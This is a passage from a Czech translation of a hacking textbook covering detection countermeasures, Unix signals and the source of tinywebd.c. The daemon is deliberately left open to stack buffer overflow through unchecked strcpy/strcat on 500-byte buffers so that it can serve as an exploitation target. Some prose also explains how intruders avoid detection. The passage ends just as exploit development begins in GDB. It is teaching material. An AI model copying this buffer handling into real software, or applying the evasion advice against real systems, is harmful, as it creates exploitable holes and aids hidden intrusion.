ovšem mnohem aktivnější způsoby, jak se dá posílit bezpečnost. K dispozici jsou defenzivní protiopatření, která se snaží anulovat účinek útoku, nebo působit preventivně, aby k útoku nemohlo vůbec dojít. Protiopatření je dost teoretický pojem, který neříká nic konkrétního – může se jím myslet nějaký produkt z oblasti bezpečnosti, nějaká sada zásad, program, nebo prostě pouze pozorný systémový administrátor. Defenzivní protiopatření se dají rozdělit do dvou skupin: ta, která se pokoušejí detekovat útok, a ta, jež se pokoušejí ochránit zranitelné místo.
376
0x600 – Protiopatření
0x610 Detekující protiopatření První skupina protiopatření se pokouší detekovat vniknutí a nějak na ně reagovat. Detekčním procesem může být leccos – od administrátora, který pročítá protokolovací soubory, až k programu, který odposlouchává síť. Reakce může znamenat to, že se automaticky zničí připojení nebo proces, nebo pouze to, že administrátor pozorně prohlíží všechno, co se objeví na konzole stroje. Pokud jste na pozici systémového administrátora, tak exploity, o nichž víte, nejsou ani zdaleka tak nebezpečné jako exploity, o nichž nevíte. Čím dříve se vniknutí detekuje, tím dříve se s ním dá něco udělat, a je pravděpodobnější, že jej bude možné zkrotit. Znepokojovat by vás měla především vniknutí, která nebyla odhalena celé měsíce. Detekce vniknutí spočívá v tom, že se předjímá, co asi útočící hacker hodlá udělat. Jestliže to dobře odhadnete, budete vědět, co a kde máte hledat. Detekující protiopatření mohou hledat vzory útoků v souborech protokolů, v síťových paketech, nebo dokonce v paměti programu. Poté, co se vniknutí detekovalo, může být hacker vypuzen ze systému, je možné napravit škody napáchané v souborech tím, že budou obnoveny ze zálohy, a dají se identifikovat a opravit exploitovaná zranitelná místa. Detekující protiopatření jsou v elektronickém světě poměrně mocná, když máme k dispozici výbavu pro zálohování a obnovu ze zálohy. Útočník tedy musí počítat s tím, že proti všemu, co udělá, mohou působit detekční protiopatření. Protože ale detekce nemusí být vždy okamžitá, existuje několik scénářů "rozbij, a rychle seber všechno, co se dá", kdy útočník nemusí brát detekci v úvahu. I v těchto scénářích je ovšem lepší, když se nemusí hned prchat. Jednou z nejcennějších deviz hackera je utajení. Exploitujete-li nějaký zranitelný program, takže získáte přístup k shellu roota, znamená to, že na daném systému si můžete dělat cokoliv, co se vám zlíbí. Pokud si ale dáte dobrý pozor a vaše vniknutí nebude detekováno, znamená to navíc, že nikdo neví, že tam jste. A teprve kombinace "můžu všechno" a neviditelnost činí hackera nebezpečným. Z dobré skrýše se dají nenápadně na síti odposlouchat data a hesla, lézt zadními vrátky do programů, a dají se připravovat další útoky na jiných hostitelích. Pokud chcete zůstat skrytí, musíte předpokládat existenci nějakých detekčních metod. Víte-li, co hledají a kde šťourají, budete se moci vyhnout exploitačním vzorům, které by vás odhalily, nebo můžete napodobovat nějaké platné vzory. Koevoluční cyklus mezi skrýváním a detekcí je poháněn přemýšlením o věcech, na které druhá strana vůbec nepomyslela.
0x620 Systémoví démoni Aby naše diskuse o exploitaci protiopatření a metodách obcházení detekce mohla být realistická, potřebujeme především nějaký realistický cíl, který bychom mohli exploitovat. Naším cílem bude nějaký vzdálený serverový program, který akceptuje příchozí připojení. V Unixu jsou takovými programy obvykle systémoví démoni. Démon je program, který běží v pozadí a je jistým způsobem oddělen od řídicího terminálu. Termín démon (daemon) poprvé použili hackeři MIT v šedesátých letech dvacátého století. Odkazuje se na démona z myšlenkového experimentu, který v roce 1867 podnikl fyzik James Maxwell. V tomto experimentu je Maxwellův démon bytostí obdařenou
Hacking – umění exploitace
377
nadpřirozenou schopností bez námahy řešit obtížné úlohy; zde konkrétně šlo o úlohu oddělit pomalejší a rychlejší molekuly. Cílem experimentu bylo teoreticky zkoumat, zdali je možné porušit druhý zákon termodynamiky. Obdobnými schopnostmi jsou vybaveni i systémoví démoni v Linuxu – neúnavně provádějí úlohy jako poskytování služby SSH a udržování systémových protokolů. Programy, které mají charakter démona, obvykle končí na písmeno d, které vyznačuje, že jde o démona, například sshd nebo syslogd. Když do kódu tinyweb.c z kapitoly 0x400 přidáme několik drobností, uděláme z něho realističtějšího systémového démona. Nový kód volá funkci daemon(), která zplodí nový proces v pozadí. Tuto funkci v Linuxu používají mnohé procesy systémových démonů. A zde je manuálová stránka této funkce. DAEMON(3)
Linux Programmer's Manual
DAEMON(3)
NÁZEV daemon – běží v pozadí SYNOPSE #include <unistd.h> int daemon(int nochdir, int noclose); POPIS Funkce daemon() je určena programům, které se chtějí oddělit od řídicího terminálu a běžet v pozadí jako systémoví démoni. Pokud je argument nochdir nulový, daemon() změní aktuální pracovní adresář na root ("/"), jinak ne. Pokud je argument noclose nulový, daemon() přesměruje standardní vstup, standardní výstup a standardní chybový výstup na /dev/null, NÁVRATOVÁ HODNOTA (Tato funkce rozdvojuje, a pokud fork() uspěje, udělá rodičovský proces _exit(0), takže další chyby vidí pouze dceřiný proces.) Při úspěchu se vrátí nula. Dojde-li k nějaké chybě, daemon() vrátí -1 a nastaví globální proměnnou errno na jednu z chyb, které jsou specifikované pro knihovní funkce fork(2) a setsid(2).
Protože systémoví démoni běží odděleně od řídicího terminálu, kód nového démona tinyweb zapisuje do nějakého protokolovacího souboru. Protože systémoví démoni běží nezávisle na řídicím terminálu, jsou obvykle řízeni pomocí signálů. Nový program tinyweb v podobě démona potřebuje zachytit ukončovací signál, aby mohl hladce skončit, pokud bude zabit (signálem Kill).
378
0x600 – Protiopatření
0x621
Signály letem-světem
Signály v Unixu poskytují metodu pro komunikaci mezi jednotlivými procesy. Když proces obdrží signál, operační systém přeruší tok jeho vykonávání, aby se mohl zavolat zpracovatel signálu. Signály se identifikují čísly, přičemž každý signál má svého výchozího zpracovatele. Pokud například na řídicím terminálu programu stisknete CTRL+C, odešle se přerušovací signál (interrupt signal), který má výchozího zpracovatele signálu, jenž ukončí program. To vám umožňuje přerušit běh programu i v situaci, když se zasekl v nekonečném cyklu. Pomocí funkce signal() se dají zaregistrovat vlastní zpracovatelé signálů. V následující ukázce kódu se pro jisté signály registrují zpracovatelé signálů; kód main obsahuje nekonečný cyklus. signal_example.c #include <stdio.h> #include <stdlib.h> #include <signal.h> /* Několik definic signálů z signal.h opatřených popisky * #define SIGHUP
1 Hangup
* #define SIGINT
2 Interrupt (Ctrl-C)
* #define SIGQUIT
3 Quit (Ctrl-\)
* #define SIGILL
4 Neplatná instrukce
* #define SIGTRAP
5 Trace/breakpoint trap
* #define SIGABRT
6 Proces násilně ukončen
* #define SIGBUS
7 Chyba Bus
* #define SIGFPE
8 Chyba pohyblivé řádové čárky
* #define SIGKILL
9 Kill
* #define SIGUSR1
10 Uživatelsky definovaný signál 1
* #define SIGSEGV
11 Selhání segmentace (Segmentation fault)
* #define SIGUSR2
12 Uživatelsky definovaný signál 2
* #define SIGPIPE
13 Zápis do trubice (pipe), ale žádná nečte
* #define SIGALRM
14 Nastaveno odpočítávání funkcí alarm()
* #define SIGTERM
15 Ukončení (odeslán příkazem kill)
* #define SIGCHLD
17 Signál dceřiného procesu
* #define SIGCONT
18 Pokračovat, pokud byl zastaven
* #define SIGSTOP
19 Stop (pozastavit vykonávání)
* #define SIGTSTP
20 Terminal stop [suspend] (Ctrl-Z)
* #define SIGTTIN
21 Proces v pozadí se pokouší číst standardní vstup
* #define SIGTTOU
22 Proces v pozadí se pokouší číst standardní výstup
*/ /* Zpracovatel signálů */ void signal_handler(int signal) {
Hacking – umění exploitace
379
printf("Caught signal %d\t", signal); if (signal == SIGTSTP) printf("SIGTSTP (Ctrl-Z)"); else if (signal == SIGQUIT) printf("SIGQUIT (Ctrl-\\)"); else if (signal == SIGUSR1) printf("SIGUSR1"); else if (signal == SIGUSR2) printf("SIGUSR2"); printf("\n"); } void sigint_handler(int x) { printf("Caught a Ctrl-C (SIGINT) in a separate handler\nExiting.\n"); exit(0); } int main() { /* Registrace zpracovatelů signálů */ signal(SIGQUIT, signal_handler);
// Určí signal_handler() jako
signal(SIGTSTP, signal_handler);
// zpracovatele signálů těchto
signal(SIGUSR1, signal_handler);
// signálů.
signal(SIGUSR2, signal_handler); signal(SIGINT, sigint_handler);
// Nastaví sigint_handler() pro SIGINT.
while(1) {}
// Nekonečný cyklus.
}
Když se tento program zkompiluje a spustí, zaregistrují se zpracovatelé signálů a program vstoupí do nekonečného cyklu. Přestože se program zasekne v nekonečném cyklu, příchozí signály přeruší jeho vykonávání a zavolají se zaregistrovaní zpracovatelé signálů. Ve výstupu níže se používají ty signály, které lze spustit z řídicího terminálu. Když funkce signal_handler() skončí, vrátí vykonávání zpět do přerušeného cyklu, zatímco funkce sigint_handler() program ukončí. reader@hacking:~/booksrc $ gcc -o signal_example signal_example.c reader@hacking:~/booksrc $ ./signal_example Caught signal 20
SIGTSTP (Ctrl-Z)
Caught signal 3 SIGQUIT (Ctrl-\) Caught a Ctrl-C (SIGINT) in a separate handler Exiting. reader@hacking:~/booksrc $
380
0x600 – Protiopatření
Konkrétní signály se dají procesu odesílat příkazem kill. Tento příkaz standardně odešle procesu ukončující signál (SIGTERM). Uvede-li se volba -l příkazového řádku, kill vypíše seznam všech možných signálů. Ve výstupu níže jsou programu signal_example, který se vykonává v jiném terminálu, odeslány signály SIGUSR1 a SIGUSR2. reader@hacking:~/booksrc $ kill -l 1) SIGHUP
2) SIGINT
3) SIGQUIT
5) SIGTRAP
6) SIGABRT
7) SIGBUS
4) SIGILL 8) SIGFPE
9) SIGKILL
10) SIGUSR1
11) SIGSEGV
12) SIGUSR2
13) SIGPIPE
14) SIGALRM
15) SIGTERM
16) SIGSTKFLT
17) SIGCHLD
18) SIGCONT
19) SIGSTOP
20) SIGTSTP
21) SIGTTIN
22) SIGTTOU
23) SIGURG
24) SIGXCPU
25) SIGXFSZ
26) SIGVTALRM
27) SIGPROF
28) SIGWINCH
29) SIGIO
30) SIGPWR
31) SIGSYS
34) SIGRTMIN
35) SIGRTMIN+1
36) SIGRTMIN+2
37) SIGRTMIN+3
38) SIGRTMIN+4
39) SIGRTMIN+5
40) SIGRTMIN+6
41) SIGRTMIN+7
42) SIGRTMIN+8
43) SIGRTMIN+9
44) SIGRTMIN+10
45) SIGRTMIN+11
46) SIGRTMIN+12
47) SIGRTMIN+13
48) SIGRTMIN+14
49) SIGRTMIN+15
50) SIGRTMAX-14
51) SIGRTMAX-13
52) SIGRTMAX-12
53) SIGRTMAX-11
54) SIGRTMAX-10
55) SIGRTMAX-9
56) SIGRTMAX-8
57) SIGRTMAX-7
58) SIGRTMAX-6
59) SIGRTMAX-5
60) SIGRTMAX-4
61) SIGRTMAX-3
62) SIGRTMAX-2
63) SIGRTMAX-1
64) SIGRTMAX
reader@hacking:~/booksrc $ ps a | grep signal_example 24491 pts/3
R+
0:17 ./signal_example
24512 pts/1
S+
0:00 grep signal_example
reader@hacking:~/booksrc $ kill -10 24491 reader@hacking:~/booksrc $ kill -12 24491 reader@hacking:~/booksrc $ kill -9 24491 reader@hacking:~/booksrc $
Nakonec se pomocí kill -9 odešle signál SIGKILL. Protože není možné změnit zpracovatele tohoto signálu, příkaz kill -9 lze vždy použít pro zabití procesu. V tom druhém okně terminálu, kde běží program signal_example, je vidět, které signály byly zachyceny, a že proces byl zabit. reader@hacking:~/booksrc $ ./signal_example Caught signal 10
SIGUSR1
Caught signal 12
SIGUSR2
Killed reader@hacking:~/booksrc $
Ačkoliv signály samy o sobě jsou velmi prosté, komunikací mezi jednotlivými procesy mohou rychle vzniknout komplexní webové závislosti. V našem novém démonovi tinyweb se ovšem signály používají pouze pro hladké ukončení procesu, takže jejich implementace byla jednoduchá.
Hacking – umění exploitace
0x622
381
Démon tinyweb
Tato novější verze programu tinyweb je systémovým démonem, který běží v pozadí bez řídicího terminálu. Svůj výstup s časovými známkami zapisuje do protokolovacího souboru a naslouchá signálu pro ukončení (SIGTERM), takže se může hladce shodit, když je zabit. Ačkoliv změny v programu jsou opravdu velmi drobné, poskytují mnohem realističtější cíl exploitace. Nové části kódu jsou v následujícím výpisu zvýrazněny tučně.
tinywebd.c #include <sys/stat.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <time.h> #include <signal.h> #include "hacking.h" #include "hacking-network.h" #define PORT 80
// Port, na který se budou // uživatelé připojovat.
#define WEBROOT "./webroot"
// Kořenový adresář webového serveru
#define LOGFILE "/var/log/tinywebd.log"
// Název protokolovacího souboru
int logfd, sockfd;
// Globální deskriptory pro // protokolovací soubor a socketový // soubor
void handle_connection(int, struct sockaddr_in *, int); int get_file_size(int);
// Vrátí velikost souboru otevřeného // souborového deskriptoru
void timestamp(int);
// Zapíše časovou známku // do otevřeného souborového // deskriptoru
// Tato funkce se zavolá, když je proces zabit (killed). void handle_shutdown(int signal) { timestamp(logfd); write(logfd, "Shutting down.\n", 16); close(logfd); close(sockfd); exit(0); }
382
0x600 – Protiopatření
int main(void) { int new_sockfd, yes=1; struct sockaddr_in host_addr, client_addr; // Informace o mé adrese socklen_t sin_size; logfd = open(LOGFILE, O_WRONLY|O_CREAT|O_APPEND, S_IRUSR|S_IWUSR); if(logfd == -1) fatal("opening log file"); if ((sockfd = socket(PF_INET, SOCK_STREAM, 0)) == -1) fatal("in socket"); if (setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int)) == -1) fatal("setting socket option SO_REUSEADDR"); printf("Starting tiny web daemon.\n"); if(daemon(1, 0) == -1)
// Rozdvojení na proces démona v pozadí.
fatal("forking to daemon process"); signal(SIGTERM, handle_shutdown);
// Když je zabit, zavolá // handle_shutdown.
signal(SIGINT, handle_shutdown);
// Když je přerušen, zavolá // handle_shutdown.
timestamp(logfd); write(logfd, "Starting up.\n", 15); host_addr.sin_family = AF_INET;
// Bajtové pořadí hostitele
host_addr.sin_port = htons(PORT);
// síťové bajtové pořadí short
host_addr.sin_addr.s_addr = INADDR_ANY;
// Automaticky vyplní // mou IP adresou.
memset(&(host_addr.sin_zero), '\0', 8);
// Vynuluje zbytek struktury.
if (bind(sockfd, (struct sockaddr *)&host_addr, sizeof(struct sockaddr)) == -1) fatal("binding to socket"); if (listen(sockfd, 20) == -1) fatal("listening on socket"); while(1) {
// Cyklus akceptace příchozích připojení.
sin_size = sizeof(struct sockaddr_in); new_sockfd = accept(sockfd, (struct sockaddr *)&client_addr, &sin_size); if(new_sockfd == -1)
Hacking – umění exploitace
383
fatal("accepting connection"); handle_connection(new_sockfd, &client_addr, logfd); } return 0; } /* Funkce zpracuje připojení na předaném socketu z předané klientské adresy * a zaprotokoluje předaný souborový deskriptor. Připojení se zpracuje jako * webový požadavek a tato funkce odpoví přes připojený socket. Nakonec se na * konci funkce předaný socket uzavře. */ void handle_connection(int sockfd, struct sockaddr_in *client_addr_ptr, int logfd) { unsigned char *ptr, request[500], resource[500], log_buffer[500]; int fd, length; length = recv_line(sockfd, request); sprintf(log_buffer, "From %s:%d \"%s\"\t", inet_ntoa(client_addr_ptr-> sin_addr),ntohs(client_addr_ptr->sin_port), request); ptr = strstr(request, " HTTP/");
// Hledá požadavek, // který vypadá jako platný.
if(ptr == NULL) {
// Tohle není platný HTTP.
strcat(log_buffer, " NOT HTTP!\n"); } else { *ptr = 0;
// Ukončí buffer na konci URL.
ptr = NULL;
// Nastaví ptr na NULL (označí tím // neplatný požadavek).
if(strncmp(request, "GET ", 4) == 0) ptr = request+4;
// požadavek Get // ptr je URL.
if(strncmp(request, "HEAD ", 5) == 0) // požadavek Head ptr = request+5; if(ptr == NULL) {
// ptr je URL. // Tohle nebylo rozpoznáno // jako požadavek.
strcat(log_buffer, " UNKNOWN REQUEST!\n"); } else {
// Platný požadavek, ptr // ukazuje na název zdroje
if (ptr[strlen(ptr) - 1] == '/') strcat(ptr, "index.html"); strcpy(resource, WEBROOT);
// U zdroje končícího na '/', // přidá nakonec
'index.html'..
// Zahájí zdroj cestou // webového kořene
strcat(resource, ptr);
// a sloučí ji s cestou zdroje.
fd = open(resource, O_RDONLY, 0);
// Pokusí se otevřít soubor.
if(fd == -1) {
// Pokud se soubor nenašel
0x600 – Protiopatření
384
strcat(log_buffer, " 404 Not Found\n"); send_string(sockfd, "HTTP/1.0 404 NOT FOUND\r\n"); send_string(sockfd, "Server: Tiny webserver\r\n\r\n"); send_string(sockfd, "<html><head><title>404 Not Found</title> </head>"); send_string(sockfd, "<body><h1>URL not found</h1></body> </html>\r\n"); } else {
// Jinak soubor obslouží.
strcat(log_buffer, " 200 OK\n"); send_string(sockfd, "HTTP/1.0 200 OK\r\n"); send_string(sockfd, "Server: Tiny webserver\r\n\r\n"); if(ptr == request + 4) {
// Pak je tohle požadavek GET
if( (length = get_file_size(fd)) == -1) fatal("getting resource file size"); if( (ptr = (unsigned char *) malloc(length)) == NULL) fatal("allocating memory for reading resource"); read(fd, ptr, length);
// Načte soubor do paměti.
send(sockfd, ptr, length, 0); // Odešle ho socketu. free(ptr);
// Uvolní paměť souboru.
} close(fd);
// Uzavře soubor.
}
// Konec bloku if pro soubor nalezen/nenalezen.
} }
// Konec bloku if platného požadavku. // Konec bloku if platného HTTP.
timestamp(logfd); length = strlen(log_buffer); write(logfd, log_buffer, length);
// Zapíše do protokolu.
shutdown(sockfd, SHUT_RDWR);
// Graciézně socket uzavře.
} /* Funkce přebírá otevřený souborový deskriptor a vrací * velikost sdruženého souboru. Při nezdaru vrací -1. */ int get_file_size(int fd) { struct stat stat_struct; if(fstat(fd, &stat_struct) == -1) return -1; return (int) stat_struct.st_size; } /* Funkce zapíše řetězec časové známky do otevřeného
Hacking – umění exploitace
385
* souborového deskriptoru, který byl do ní předán. */ void timestamp(fd) { time_t now; struct tm *time_struct; int length; char time_buffer[40]; time(&now);
// Získá počet sekund od začátku epochy.
time_struct = localtime((const time_t *)&now); write(fd, time_buffer, length);
// Převede na strukturu tm.
// Zapíše řetězec časové // známky do protokolu.
}
Tento démon se rozdvojuje (forks) do pozadí, zapisuje do souboru protokolu časové známky, a pokud je zabit, hladce skončí. Deskriptor protokolovacího souboru a socket přijímající připojení jsou deklarovány jako globální, takže se dají hladce uzavřít funkcí handle_shutdown(). Tato funkce je připravena jako zpracovatel zpětného volání (callback) pro ukončovací (terminate) a přerušovací (interrupt) signál, což umožňuje programu hladce skončit, když je zabit příkazem kill. Následující výstup ukazuje, jak se program zkompiloval, spustil a zabil. Povšimněte si, že protokolovací soubor obsahuje jak časové známky, tak i zprávu o shození, když program zachytil ukončovací signál a zavolal handle_shutdown(), aby skončil hladce. reader@hacking:~/booksrc $ gcc -o tinywebd tinywebd.c reader@hacking:~/booksrc $ sudo chown root ./tinywebd reader@hacking:~/booksrc $ sudo chmod u+s ./tinywebd reader@hacking:~/booksrc $ ./tinywebd Starting tiny web daemon. reader@hacking:~/booksrc $ ./webserver_id 127.0.0.1 The web server for 127.0.0.1 is Tiny webserver reader@hacking:~/booksrc $ ps ax | grep tinywebd 25058 ?
Ss
0:00 ./tinywebd
25075 pts/3
R+
0:00 grep tinywebd
reader@hacking:~/booksrc $ kill 25058 reader@hacking:~/booksrc $ ps ax | grep tinywebd 25121 pts/3
R+
0:00 grep tinywebd
reader@hacking:~/booksrc $ cat /var/log/tinywebd.log cat: /var/log/tinywebd.log: Permission denied reader@hacking:~/booksrc $ sudo cat /var/log/tinywebd.log 07/22/2007 17:55:45> Starting up. 07/22/2007 17:57:00> From 127.0.0.1:38127 "HEAD / HTTP/1.0" 07/22/2007 17:57:21> Shutting down. reader@hacking:~/booksrc $
200 OK
386
0x600 – Protiopatření
Tento program tinywebd.c obsluhuje HTTP obsah úplně stejně, jako původní program tinyweb, ovšem s tím rozdílem, že se chová jako systémový démon, je oddělen od řídicího terminálu a zapisuje do protokolovacího souboru. Oba programy jsou ovšem zranitelné stejnými exploity využívajícími přetečení. Tato exploitace je nicméně pouhý začátek. Když za cíl exploitace zvolíme tohoto nového démona, dozvíme se, jak se po vniknutí vyhnout detekci.
0x630 Nástroje našeho řemesla Když nyní máme po ruce realistický cíl, přelezme barikádu, abychom se dostali na teritorium útočníka. Pro tento druh útoku jsou nepostradatelnými nástroji našeho řemesla exploitační skripty. Tak jako dokáže profesionál se šperhákem v ruce otevřít různé zámky než byste stihnuli mrknout okem, exploity obdobným způsobem otevírají mnohé dveře hackerovi. Prostřednictvím pečlivé a obratné manipulace s interními mechanismy je možné se zcela vyhnout bezpečnostním opatřením. V předchozích kapitolách jsme psali kód exploitu v C a z příkazového řádku ručně zkoumali slabiny programů. Nezřetelnou hranici, která odděluje exploitační programy od exploitačních nástrojů, tvoří finalizace a opětovná konfigurovatelnost. Exploitační program je spíše puška než nástroj. Podobně jako puška i exploitační program se používá jednorázově a jeho uživatelské rozhraní je prostě něco podobného jako kohoutek u pušky, který stačí zmáčknout. Střelné zbraně i exploitační programy jsou finální výrobky, s nimiž mohou zacházet nekvalifikované osoby, což může mít nebezpečné následky. Oproti tomu exploitační nástroje nelze označit za finální výrobky. Nejsou také určeny pro použití jinými osobami. Protože hacker umí programovat, je zcela přirozené, že si vytváří své vlastní skripty, které poté používá jako pomůcky při exploitaci. Tyto personalizované nástroje automatizují pracné úlohy a ulehčují experimenty. Podobně jako běžné nástroje ze života, i tyto nástroje se mohou využívat pro nejrůznější potřeby a rozvíjet tak dovednosti uživatele.
0x631
Nástroj pro exploitaci tinywebd
Pro démona tinyweb bychom rádi měli takový exploitační nástroj, který by nám umožnil experimentovat s jeho zranitelnostmi. Podobně jako při vývoji předchozích exploitů i zde nejprve prostřednictvím GDB zjistíme o daném zranitelném místu nějaké podrobnosti, například offsety. Offset k návratové adrese bude stejný jako v původním programu tinyweb.c. Program, který je démonem, nám ovšem předkládá dodatečnou výzvu. Volání daemon() rozdvojí proces, což znamená, že zbytek programu běží v dceřiném procesu, zatímco rodičovský proces skončí. V následujícím výstupu jsme nastavili bod přerušení hned za volání daemon(), nicméně debugger se k němu nikdy nedostane. reader@hacking:~/booksrc $ gcc -g tinywebd.c reader@hacking:~/booksrc $ sudo gdb -q ./a.out warning: not using untrusted file "/home/reader/.gdbinit" Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1".